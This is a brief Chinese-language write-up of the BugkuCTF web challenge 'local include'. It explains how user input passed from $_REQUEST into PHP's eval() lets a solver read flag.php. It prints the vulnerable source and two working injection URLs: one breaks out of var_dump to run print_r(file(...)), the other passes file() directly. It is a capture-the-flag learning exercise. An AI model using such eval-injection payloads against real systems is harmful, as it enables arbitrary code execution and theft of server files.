BugkuCTF-WEB-本地包含
阿新 • • 發佈:2018-11-27
題目提示,需要將flag.php包含進去才可以得到flag
百度了一下$_REQUEST函式,發現易存在sql漏洞和變數漏洞覆蓋
第二句話要獲得hello的值,由於hello為’hello’,所以無論在url欄中對hello賦任何值,都會全盤接受,其中var_dump()是將變數a列印到介面中,在根據eval函式的特性(計算後面括號中的表示式)
SO——
(1)a變數由$_REQUEST變數獲取,可以用GET或POST方法為hello賦值進而為$a賦值
(2)程式並未對hello的輸入進行判斷過濾
(3)eval函式中執行的命令進而可以被$a的值所決定
方法一:構造方法來輸出flag.php
http://123.206.87.240:8003/?hello=);print_r(file("./flag.php"));%23
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);"); //eval("var_dump();print_r(file("./flag.php"));
show_source(__FILE__);
?>
可以得到flag
方法二:
可以file_get_contents()或者file()函式賦值給hello
構造如下:
http://123.206.87.240:8003/?hello=file(%22./flag.php%22)
由於file_get_contents()函式是將檔案的整個內容讀入到一個字串中
所以爆出的頁面如下
按下F12可以檢視string(84)中的內容